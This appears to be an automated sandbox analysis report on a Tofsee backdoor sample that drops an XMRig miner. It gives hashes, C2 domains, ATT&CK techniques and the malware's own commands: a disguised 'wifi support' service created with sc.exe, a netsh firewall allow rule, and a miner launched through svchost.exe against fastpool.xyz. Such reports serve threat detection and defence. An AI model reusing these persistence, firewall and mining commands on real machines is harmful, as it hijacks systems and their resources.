Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    30-05-2023 08:51

General

  • Target

    file.exe

  • Size

    274KB

  • MD5

    dbbb946f4228bd42954f0fc37607d9e9

  • SHA1

    613aca1b293843322b08583d969d5611e859fd75

  • SHA256

    33131cdcd5d945bb411d7f74e019c16609a9690638bf040b975ae099e6643f63

  • SHA512

    00031955c563ac6546bb38e4e05b2365cbd9564774a5b993674fe01dc82bfd68da5c37bcc6f8d3e07301e47dea1512f85bbe1b2512f866eaa9c0046df50b9c58

  • SSDEEP

    3072:13cVvOWyaFDk3pCz6wIHwEP89c9mNNkRXF/AYLf2VsNO5Jn1DA4zkzPa5M:RcJOWHk3I6wilENNkF7QpSPa5

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hpsqugrv\
      2⤵
        PID:1756
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jvhmjpoc.exe" C:\Windows\SysWOW64\hpsqugrv\
        2⤵
          PID:2008
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hpsqugrv binPath= "C:\Windows\SysWOW64\hpsqugrv\jvhmjpoc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:544
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hpsqugrv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:320
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hpsqugrv
          2⤵
          • Launches sc.exe
          PID:1768
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:984
      • C:\Windows\SysWOW64\hpsqugrv\jvhmjpoc.exe
        C:\Windows\SysWOW64\hpsqugrv\jvhmjpoc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1364
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:364
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:632

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\jvhmjpoc.exe
        Filesize

        10.4MB

        MD5

        804478ed5f8b5d938c8dfc4ba5e24f8c

        SHA1

        9d8c20ad60b9881d17c7367e0b326ca82bc2da98

        SHA256

        e353967220e37b95848007c007f40ceaca6fae1e1c769ee28ccc380adb70121b

        SHA512

        c2e3b7cc96fbf06224cc93d61eb6cf4b83d02f92beb6141669c486ea337b1947fa9d04020f9a8ec9fb58a45102530630abb9047e4786ec43a0d9c3604e735928

      • C:\Windows\SysWOW64\hpsqugrv\jvhmjpoc.exe
        Filesize

        10.4MB

        MD5

        804478ed5f8b5d938c8dfc4ba5e24f8c

        SHA1

        9d8c20ad60b9881d17c7367e0b326ca82bc2da98

        SHA256

        e353967220e37b95848007c007f40ceaca6fae1e1c769ee28ccc380adb70121b

        SHA512

        c2e3b7cc96fbf06224cc93d61eb6cf4b83d02f92beb6141669c486ea337b1947fa9d04020f9a8ec9fb58a45102530630abb9047e4786ec43a0d9c3604e735928

      • memory/364-89-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-105-0x0000000005A70000-0x0000000005E7B000-memory.dmp
        Filesize

        4.0MB

      • memory/364-60-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/364-91-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-90-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-110-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/364-67-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/364-68-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/364-69-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/364-71-0x0000000001A00000-0x0000000001C0F000-memory.dmp
        Filesize

        2.1MB

      • memory/364-74-0x0000000001A00000-0x0000000001C0F000-memory.dmp
        Filesize

        2.1MB

      • memory/364-75-0x00000000000E0000-0x00000000000E6000-memory.dmp
        Filesize

        24KB

      • memory/364-78-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-81-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-82-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-83-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-85-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-93-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-86-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-87-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/364-88-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-62-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/364-106-0x0000000000130000-0x0000000000137000-memory.dmp
        Filesize

        28KB

      • memory/364-84-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-92-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-94-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-95-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-96-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-98-0x0000000000120000-0x0000000000125000-memory.dmp
        Filesize

        20KB

      • memory/364-97-0x0000000000110000-0x0000000000120000-memory.dmp
        Filesize

        64KB

      • memory/364-101-0x0000000000120000-0x0000000000125000-memory.dmp
        Filesize

        20KB

      • memory/364-102-0x0000000005A70000-0x0000000005E7B000-memory.dmp
        Filesize

        4.0MB

      • memory/632-123-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/632-111-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/632-112-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/632-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/632-119-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/632-120-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/632-122-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/632-121-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/632-124-0x0000000000150000-0x0000000000241000-memory.dmp
        Filesize

        964KB

      • memory/1364-65-0x0000000000400000-0x000000000068A000-memory.dmp
        Filesize

        2.5MB

      • memory/2000-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/2000-66-0x0000000000400000-0x000000000068A000-memory.dmp
        Filesize

        2.5MB